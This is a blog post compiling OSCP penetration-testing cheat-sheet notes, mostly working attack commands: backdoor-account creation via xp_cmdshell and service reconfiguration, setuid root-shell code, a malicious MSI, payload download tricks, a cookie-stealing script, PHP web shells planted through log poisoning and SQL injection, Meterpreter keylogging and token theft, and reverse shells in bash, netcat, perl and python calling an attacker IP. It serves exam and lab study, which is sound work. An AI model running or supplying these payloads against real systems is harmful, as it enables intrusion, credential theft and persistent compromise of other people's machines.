AAKASH CHOUDHARY

USEFULL OSCP MATERIAL

October 03, 2017 Leave a Comment

1.Various Tricks
 Upgrading simple shells to fully interactive TTYs
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

Temporary Web Server
python -m SimpleHTTPServer
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start"
php -S 0.0.0.0:8888

Use Nmap to remotely execute commands through SQL
nmap -Pn -n -sS --script=ms-sql-xp-cmdshell.nse <victim_ip> -p1433 --script-args mssql.username=sa,mssql.password=<sql_password>,ms-sql-xp-cmdshell.cmd="net user backdoor backdoor123 /add"
nmap -Pn -n -sS --script=ms-sql-xp-cmdshell.nse 10.11.1.31 -p1433 --script-args mssql.username=<sql_user>,mssql.password=<sql_password>,ms-sql-xp-cmdshell.cmd="net localgroup administrators backdoor /add"
 





Make browser appear as a search engine
Use curl (serch engine agents: googlebot, slurp, msnbot…)
curl -A "'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')" 
'http://<victim_ip>/robots.txt'

Change headers of a http request using curl
Example: check for shellshock vulnerability: (PoC: '() { :; }; echo “CVE-2014-6271 vulnerable”' bash -c id )
curl -H 'User-Agent: () { :; }; echo "CVE-2014-6271 vulnerable" bash -c id' http://10.11.1.71/cgi-bin/admin.cgi

Execute process as another user (with credentials)
1.    Create a ps1 file e.g. run.ps1 with powershell commands as below:

secpasswd = ConvertTo-SecureString "<admin_pass_clear_text>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<Admin_username>", $secpasswd)
$computer = "<COMPUTER_NAME>"
[System.Diagnostics.Process]::Start("C:/users/public/<reverse_shell.exe>","", $mycreds.Username, mycreds.Password, $computer)
1.    Upload run.ps1 to victim's machine
2.    Execute powershell command:
powershell -ExecutionPolicy Bypass -File c:\users\public\run.ps1



Get a root shell from MySQL
https://infamoussyn.com/2014/07/11/gaining-a-root-shell-using-mysql-user-defined-functions-and-setuid-binaries/

Setuid binary for root shell
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
  setuid(0); setgid(0); system("/bin/bash");
}











Alternatively

#include <stdio.h>
#include <unistd.h>
main()
{
  setuid(0);
  execl("/bin/sh","sh",0);
  printf("You are root");
}


gcc -o rootme rootme.c
chown root:root && chmod 4777 /var/tmp/rootme

Alternatively
cp /bin/sh /tmp/root_shell; chmod a+s /tmp/root_shell;
/tmp/root_shell -p


Leverage xp_cmdshell to get a shell
sqsh -S <ip_address> -U sa -P <password>

exec sp_configure ‘show advanced options’, 1
go
reconfigure
go
exec sp_configure ‘xp_cmdshell’, 1
go
reconfigure
go
xp_cmdshell 'dir C:\'
go

 Bypassing white-listing
http://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html
Create small shellcode
msfvenom -p windows/shell_reverse_tcp -a x86 -f python --platform windows LHOST=<ip> LPORT=443 -b "\x00" EXITFUNC=thread --smallest -e x86/fnstenv_mov

2.RECON

 Use datasploit as a Recon framework
https://github.com/DataSploit/datasploit
Run web scanners

dirb http{s}://<ip_address>:<port> /usr/share/wordlist/dirb/{common/small/vulns}.txt
 
gobuster -u http://10.11.1.71/ -w /usr/share/seclists/Discovery/Web_Content/common.txt -s '200,204,301,302,307,403,500' -e
gobuster -u http://10.11.1.71/ -w /usr/share/seclists/Discovery/Web_Content/cgis.txt -s '200,204,301,302,307,403,500' -e
gobuster -u http://10.11.1.71/ -w /usr/share/seclists/Discovery/Web_Content/cgis.txt -s '200,204,403,500' -e
 
nikto -port {web ports} -host <ip_address> -o <output file.txt>

Use /usr/share/seclists/Discovery for some good word lists



 Check for SMB vulnerabilities
We don't want to run smb-brute or smb-flood because they might lock out accounts or cause a DoS to the services

nmap -p139,445 -T4 -oN smb_vulns.txt -Pn --script not brute and not dos and smb-* -vv -d 10.11.1.1-254

3.Window Privilege Escalation

Information Gathering

+ What system are we connected to?
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
+ Get the hostname and username (if available)
hostname
echo %username%
+ Learn about your environment
SET
echo %PATH%

List other users on the box
net users
net user <username>

Networking/Routing Info
ipconfig /all
route print
arp -A

Active Network Connections
netstat -ano

Firewall Status (only on Win XP SP2 and above)
netsh firewall show state
netsh firewall show config
netsh advfirewall firewall show rule all





Scheduled tasks
schtasks /query /fo LIST /v
+ Check how Running processes link to started services
tasklist /SVC      
+ Windows services that are started:
net start
+ Driver madness (3rd party drivers may have holes)
DRIVERQUERY

Check systeminfo output against exploit-suggester
https://github.com/GDSSecurity/Windows-Exploit-Suggester/blob/master/windows-exploit-suggester.py
python windows-exploit-suggester.py -d 2017-05-27-mssb.xls -i systeminfo.txt
+ Run windows-privesc script
https://github.com/pentestmonkey/windows-privesc-check

WMIC

Windows Management Instrumentation Command Line 
Windows XP requires admin
+ Use wmic_info.bat script for automation
http://www.fuzzysecurity.com/tutorials/files/wmic_info.rar
   
+ System Info
wmic COMPUTERSYSTEM get TotalPhysicalMemory,caption
wmic CPU Get /Format:List
+ Check patch level
wmic qfe get Caption,Description,HotFixID,InstalledOn

1.    Look for privilege escalation exploits and look up their respective KB patch numbers. Such exploits include, but are not limited to, KiTrap0D (KB979682), MS11-011 (KB2393802), MS10-059 (KB982799), MS10-021 (KB979683), MS11-080 (KB2592799)
2.    After enumerating the OS version and Service Pack you should find out which privilege escalation vulnerabilities could be present. Using the KB patch numbers you can grep the installed patches to see if any are missing
3.    Search patches for given patch
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.."
Examples:


Windows 2K SP4 - Windows 7 (x86): KiTrap0D (KB979682)
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB979682" 
Windows Vista/2008 6.1.6000 x32,Windows Vista/2008 6.1.6001 x32,Windows 7 6.2.7600 x32,Windows 7/2008 R2 6.2.7600 x64. (no good exploit - unlikely Microsoft Windows Vista/7 - Elevation of Privileges (UAC Bypass))
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2393802"

Stored Credentials

1.    Directories that contain the configuration files (however better check the entire filesystem). These files either contain clear-text passwords or in a Base64 encoded format.
2.  C:\sysprep.inf
3.  C:\sysprep\sysprep.xml
4.  %WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml


2
When the box is connected to a Domain:
a.    Look for Groups.xml in SYSVOL
GPO preferences can be used to create local users on domain. So passwords might be stored there. Any authenticated user will have read access to this file. The passwords is encryptes with AES. But the static key is published on the msdn website. Thus it can be decrypted.
b.    Search for other policy preference files that can have the optional “cPassword” attribute set:

Services\Services.xml: Element-Specific Attributes
ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element
Printers\Printers.xml: SharedPrinter Element
Drives\Drives.xml: Element-Specific Attributes
DataSources\DataSources.xml: Element-Specific Attributes

3
Automated Tools
a.  Metasploit Module

post/windows/gather/credentials/gpp
post/windows/gather/enum_unattend
b. Powersploit




https://github.com/PowerShellMafia/PowerSploit
Get-GPPPassword
Get-UnattendedInstallFile
Get-Webconfig
Get-ApplicationHost
Get-SiteListPassword
Get-CachedGPPPassword
Get-RegistryAutoLogon

4 Search filesystem:

a.    Search for specific keywords:
dir /s *pass* == *cred* == *vnc* == *.config*
b.    Search certain file types for a keyword
findstr /si password *.xml *.ini *.txt







c. Search for certain files
dir /b /s unattend.xml
dir /b /s web.config
dir /b /s sysprep.inf
dir /b /s sysprep.xml
dir /b /s *pass*
dir /b /s vnc.ini

d. Grep the registry for keywords (e.g. “passwords”)
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

e. Find writeable files
a.  dir /a-r-d /s /b
              I.        /a is to search for attributes. In this case r is read only and d is directory. The minus signs negate those attributes. So we're looking for writable files only.
            II.        /s means recurse subdirectories
           III.        /b means bare format. Path and filename only.




Trusted Service Paths

1.List all unquoted service paths (minus built-in Windows services) on our compromised machine:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """


Suppose we found:
C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe
If you look at the registry entry for this service with Regedit you can see the ImagePath value is:
C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe
To be secure it should be like this:
“C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe”
When Windows attempts to run this service, it will look at the following paths in order and will run the first EXE that it will find:
C:\Program.exe
C:\Program Files.exe
C:\Program Files(x86)\Program Folder\A.exe
...


2. Check permissions of folder path
icacls "C:\Program Files (x86)\Program Folder"
3. If we can write in the path we plant a backdoor with the same name with the service and restart the service.
Metasploit module:
exploit/windows/local/trusted_service_path


Vulnerable Services

Search for services that have a binary path (binpath) property which can be modified by non-Admin users - in that case change the binpath to execute a command of your own.
Note: Windows XP shipped with several vulnerable built-in services.
Use accesschk from SysInternals to search for these vulnerable services.
https://technet.microsoft.com/en-us/sysinternals/bb842062.aspx
For Windows XP, version 5.2 of accesschk is needed:
https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -qdws "Authenticated Users" C:\Windows\ /accepteula
accesschk.exe -qdws Users C:\Windows\
Then query the service using Windows sc:
sc qc <vulnerable service name>
Then change the binpath to execute your own commands (restart of the service will most likely be needed):
sc config <vuln-service> binpath= "net user backdoor backdoor123 /add" 
sc stop <vuln-service>
sc start <vuln-service>
sc config <vuln-service> binpath= "net localgroup Administrators backdoor /add" 
sc stop <vuln-service>
sc start <vuln-service>


Note - Might need to use the depend attribute explicitly:
sc stop <vuln-service>
sc config <vuln-service> binPath= "c:\inetpub\wwwroot\runmsf.exe" depend= "" start= demand obj= ".\LocalSystem" password= ""
sc start <vuln-service>
Metasploit module:
exploit/windows/local/service_permissions



AlwaysInstallElevated

AlwaysInstallElevated is a setting that allows non-privileged users the ability to run Microsoft Windows Installer Package Files (MSI) with elevated (SYSTEM) permissions.
Check if these 2 registry values are set to “1”:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
If they are, create your own malicious msi:
msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi
Then use msiexec on victim to execute your msi:
msiexec /quiet /qn /i C:\evil.msi
Metasploit module:
exploit/windows/local/always_install_elevated

Bypassing AV

§  Use Veil-Evasion
§  Create your own executable by “compiling” PowerShell scripts
§  Use Metasploit to substitute custom EXE and MSI binaries. You can set EXE::Custom or MSI::Custom to point to your binary prior to executing the module.


 

Getting GUI

+ Using meterpreter, inject vnc session:
run post/windows/manage/payload_inject payload=windows/vncinject/reverse_tcp lhost=<yourip> options=viewonly=false

+ Enable RDP:
netsh firewall set service RemoteDesktop enable
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server" /v fDenyTSConnections /t 
REG_DWORD /d 0 /f
reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f

sc config TermService start= auto
net start Termservice
netsh.exe
firewall
add portopening TCP 3389 "Remote Desktop"





OR:
netsh.exe advfirewall firewall add rule name="Remote Desktop - User Mode (TCP-In)" dir=in action=allow 
program="%%SystemRoot%%\system32\svchost.exe" service="TermService" description="Inbound rule for the 
Remote Desktop service to allow RDP traffic. [TCP 3389] added by LogicDaemon's script" enable=yes 
profile=private,domain localport=3389 protocol=tcp
netsh.exe advfirewall firewall add rule name="Remote Desktop - User Mode (UDP-In)" dir=in action=allow 
program="%%SystemRoot%%\system32\svchost.exe" service="TermService" description="Inbound rule for the 
Remote Desktop service to allow RDP traffic. [UDP 3389] added by LogicDaemon's script" enable=yes 
profile=private,domain localport=3389 protocol=udp
OR (meterpreter)
run post/windows/manage/enable_rdp
https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/







Python exploits

Compiling Python Exploits for Windows on Linux
1.    install pyinstaller of windows with wine on Kali and then
wine ~/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile 18176.py
2.    run `pyinstaller` located under the same directory as Python scripts
wine ~/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile HelloWorld.py
3.    Execute with wine
wine ~/.wine/drive_c/dist/HelloWorld.exe

File Transfers

limit commands on shell to be non-interactive

TFTP

Windows XP and Win 2003 contain tftp client. Windows 7 do not by default
tfpt clients are usually non-interactive, so they could work through an obtained shell
atftpd --daemon --port 69 /tftp
Windows> tftp -i 192.168.30.45 GET nc.exe

FTP

Windows contain FTP client but they are usually interactive
Solution: scripted parameters in ftp client: ftp -s
ftp-commands
echo open 192.168.30.5 21> ftp.txt
echo USER username password >> ftp.txt
echo bin >> ftp.txt
echo GET evil.exe >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt

VBScript

wget-vbs script echo trick again, copy paste the commands in the shell

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs


echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript wget.vbs http://10.11.0.102/evil.exe test.txt


Powershell

echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://10.11.0.102/powerup.ps1" >>wget.ps1
echo $file = "powerup.ps1" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

Webdav

On kali linux install wsgidav and cheroot
pip install wsgidav cheroot
Start the wsgidav on a restricted folder:
mkdir /tmp/webdav_folder
wsgidav --host=0.0.0.0 --port=80 --root=/tmp/webdav_folder
On Windows mount this folder using net use:
net use * http://YOUR_IP_ADDRESS/


BitsAdmin

bitsadmin /transfer n http://domain/file c:%homepath%file

debug.exe

First use upx or similar to compress the executable:
upx -9 nc.exe
Then use exe2bat to convert the executable into a series of echo commands that are meant to be copied pasted in the remote system:
wine exe2bat.exe nc.exe nc.txt
Then copy paste each command from nc.txt in the remote system. The commands will gradually rebuild the executable in the target machine.

certuril

certutil.exe -URL 
 
will fetch ANY file and download it here: 
C:\Users\subTee\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content


Resources




                   4.Window Post Exploitation       

Backdoor User

net user backdoor backdoor123 /add
net localgroup administrators backdoor /add
net localgroup "Remote Desktop Users" backdoor /add

Enabling RDP

netsh firewall set service RemoteDesktop enable

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server" /v fDenyTSConnections /t 
REG_DWORD /d 0 /f
reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f

sc config TermService start= auto
net start Termservice
netsh.exe
firewall
add portopening TCP 3389 "Remote Desktop"

OR:
netsh.exe advfirewall firewall add rule name="Remote Desktop - User Mode (TCP-In)" dir=in action=allow 
program="%%SystemRoot%%\system32\svchost.exe" service="TermService" description="Inbound rule for the 
Remote Desktop service to allow RDP traffic. [TCP 3389] added by LogicDaemon's script" enable=yes 
profile=private,domain localport=3389 protocol=tcp

etsh.exe advfirewall firewall add rule name="Remote Desktop - User Mode (UDP-In)" dir=in action=allow 
program="%%SystemRoot%%\system32\svchost.exe" service="TermService" description="Inbound rule for the 
Remote Desktop service to allow RDP traffic. [UDP 3389] added by LogicDaemon's script" enable=yes 
profile=private,domain localport=3389 protocol=udp
OR (meterpreter)
run post/windows/manage/enable_rdp

Dumping Credentials


in order to prevent the “clear-text” password from being placed in LSASS, the following registry key needs to be set to “0” (Digest Disabled):
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest “UseLogonCredential”(DWORD)




This registry key is worth monitoring in your environment since an attacker may wish to set it to 1 to enable Digest password support which forces “clear-text” passwords to be placed in LSASS on any version of Windows from Windows 7/2008R2 up to Windows 10/2012R2. Windows 8.1/2012 R2 and newer do not have a “UseLogonCredential” DWORD value, so it would have to be created. The existence of this key on these systems may indicate a problem.


Remote Commands

winexe --user=backdoor%laKK195@19z  //10.11.1.218 ipconfig
winexe --user=backdoor%laKK195@19z --system //10.11.1.218 cmd
OR
psexec (from Windows)
OR
nmap -sU -sS --script smb-psexec.nse --script-args=smbuser=<username>,smbpass=<password>[,config=<config>] -p U:137,T:139 <host>







5.Linux Privilege Escalation

Information Gathering

+ Get OS information
cat /etc/issue
cat /etc/*-release
cat /proc/version
uname -a
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
lsb_release -a
+ Check sudoers
sudo -l 
cat /etc/sudoers





Check password files 
Check for misconfigurations - i.e Is shadow readable? Is passwd writeable?
cat /etc/passwd
cat /etc/shadow
ls -l /etc/passwd
ls -l /etc/shadow
+ Learn your environment 
Search for misconfigured PATH variables. Do they prioritize searching for executable files from a non-secure (i.e. world-writeable) path?
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
cat ~/.bash_history
env
set
Check history files 
You might find plaintext passwords in there
cat ~/.*_history
+ Check cronjobs 
Search for jobs using programs that run with root privileges and are potentially write-accessible by low-privileged users

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
+ Check processes running as root for vulnerabilities
ps aux | grep root
ps -ef | grep root


 Search files for plaintext credentials
grep -ir user *
grep -ir pass *
+ Find writable configuration files
find /etc/ -writable -type f 2>/dev/null
+ Run privesc scripts
LinEnum - https://www.rebootuser.com/?p=1758
linuxprivchecker.py - http://www.securitysift.com/download/linuxprivchecker.py
unix-privesc-check - https://github.com/pentestmonkey/unix-privesc-check

Escaping jail shells

python -c 'import pty;pty.spawn("/bin/bash")' 
echo os.system('/bin/bash')
/bin/sh -i

Resources



6.Linux Post Exploitation

Backdooring Linux

+ Adding a backdoor user (super visible to sysadmin)

Adding users

/usr/sbin/adduser backdoor
passwd backdoor
echo "backdoor ALL=(ALL) ALL" >> /etc/sudoers
+ Plant a rootkit (might make system unstable)

Userland rootkits

§  + more stable
§  + more likely to remain planted after system updates
§  - more visible
§  - less control

Kernel rootkits

§  + less visible
§  + complete control
§  - more unstable
§  - more likely to cause problems with system updates
https://github.com/n1nj4sec/pupy
https://github.com/r00tkillah/HORSEPILL
http://r00tkit.me/

Resources



7.Web Applications

General

Try reading the php source code of the web application:
http://<ip>/script.php/?-s
Do you see any LFI/RFI vulnerability posted by Nikto? Try
fimap -u <ip-address>
Check for Input Validation in forms:
1′ or 1=1 limit 1;#   AND   1′ or 1=1--)

Stealing Cookies

<iframe src="http://10.11.0.5/report" height = "0" width = "0"></iframe>
<script>
new Image().src="http://10.11.0.5/bogus.php?output="+document.cookie;
</script>

File Inclusion Vulnerabilities

php.ini values:
register_globals
allow_url 
allow_url_fopen
allow_url_include

terminate our request with a null byte () (possible in php below 5.3)
For LFI/RFI attacks, this might be useful:

Contaminating Log Files

contaminate log file to cause them to contain PHP code to be later used in LFI attack
nv -nv 192.168.30.35 80
<?php echo shell_exec($_GET['cmd']);?>
thus, cmd= is introduced into the php execution and now by including the logfile you can execute any command

SQL Injection

Classic Authentication Bypass
select * from users where name ='any' or 1=1;#' 
select * from users where name ='any' or 1=1 limit 1;#'

Error Based Enum

order by
union all operator → allows us to add our own select queries to the original but the new select needs to have the same number of columns as the original columns statement
union all select 1,2,3,4,5,6
union all select 1,2,3,4,@@version,6
union all select 1,2,3,4,user(),6
union all select 1,2,3,4,table_name,6 FROM information_schema.tables
union all select 1,2,3,4,column_name,6 FROM information_schema.columns where table_name='users'
union select 1,2,name,4,password,6 FROM users
OR
http://10.11.1.35/comment.php?id=738 union select 1,2,3,4,concat(name,0x3a,password),6 FROM users


Blind SQL Injection

and 1=1;#
and 1=2;#
if they have different results then it is an indication of possible injection spot
use time as a test parameter for query
sleep(5)
select IF(MID(@@version,1,1) = '5', SLEEP(5), 0);
union all select 1,2,3,4,load_file("c:/windows/system32/drivers/etc/hosts"),6

http://10.11.1.35/comment.php?id=738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'


SQLMap

sqlmap -u http://192.168.30.35 --crawl=1
sqlmap -u http://192.168.30.35/comment.php?id=738 --dbms=mysql --dump --threads=5
sqlmap -u http://192.168.30.35/comment.php?id=738 --dbms=mysql --os-shell

Modify HTTP Headers

Install addon “Modify Headers”
In some cases, to look like you have a different IP, you can change the value of the X-Forwarded-For




















8. Meterpreter

Basic Commands

sysinfo
getpid
getuid
ps  
ps -S notepad.exe 
kill <pid>
ipconfig
route
migrate <PID>
getsystem
getprivs
use priv
hashdump
shell
background

File System Commands

ls
pwd
cd
del <file>
cat <file>
edit <file>
upload <src_file> <dst_file>
download <src_file> <dst_file>
getwd
getlwd



Port Forwarding

We have compromised victim1 with meterpreter session_id. Background meterpreter and add the route below. It will redirect all traffic for the above victim2_subnet through victim1.
route add <victim2 subnet> <netmask> <session_id> 
route -h
route list
route delete <victim2_subnet> <netmask> <session+id>
Forwards traffic from port l on Kali(localhost) to port p of Target2 through the compromised Target1
portfwd
portfwd add -l 1111 -p 2222 -r Target2
portfwd remove -l 1111 -p 2222 -r Target2


Execute Processes

Execute cmd.exe and interact with it
execute -f cmd.exe -i
Execute cmd.exe with all available tokens
execute -f cmd.exe -i -t
Execute cmd.exe with all available tokens and make it a hidden process
execute -f cmd.exe -i -H -t

1.    H Create the process hidden from view
2.    a Arguments to pass to the command
3.    i Interact with the process after creating it
4.    m Execute from memory
5.    t Execute process with currently impersonated thread token
Run Meterpreter-based scripts; for a full list check the scripts/meterpreter directory
run <scriptname>


Registry

Interact, create, delete, query, set, and much more in the target’s registry
reg <Command> [OPTIONS]
commands:
enumkey ->Enumerate the supplied registry key
createkey / deletekey   ->  Creates/deletes the supplied registry key
setval / queryval       ->  Set/query values from the supplied registry key
Options:
   -d  ->  Data to store in the registry value
   -k  ->  The registry key
   -v  ->  The registry value name

Tokens

use incognito
list_tokens -u
list_tokens -g
impersonate_token DOMAIN_NAME\\USERNAME
steal_token PID
drop_token
rev2self

Sniffing

use sniffer
sniffer_interfaces
sniffer_dump interfaceID pcapname
sniffer_start interfaceID packet-buffer
sniffer_stats interfaceID
sniffer_stop interfaceID









Post Exploitation

add_user username password -h ip
add_group_user “Domain Admins” username -h ip
clearav
timestomp
screenshot
keyscan_start
keyscan_dump
keyscan_stop
uictl enable keyboard/mouse
setdesktop number
reboot
run post/windows/manager/enable_rdp

 Run msfmap
Download it from http://code.google.com/p/msfmap
load msfmap
msfmap

References


9. SHELLS

bash -i >& /dev/tcp/10.11.0.102/8080 0>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
perl -e 'use Socket;$i="10.11.0.102";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.0.102",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
always check for nc, nc.traditional or netcat, or ncat with the full path if plain nc doesn't work!


RESOURCES



CREDIT -> https://www.sock-raw.org/wiki/doku.php/start
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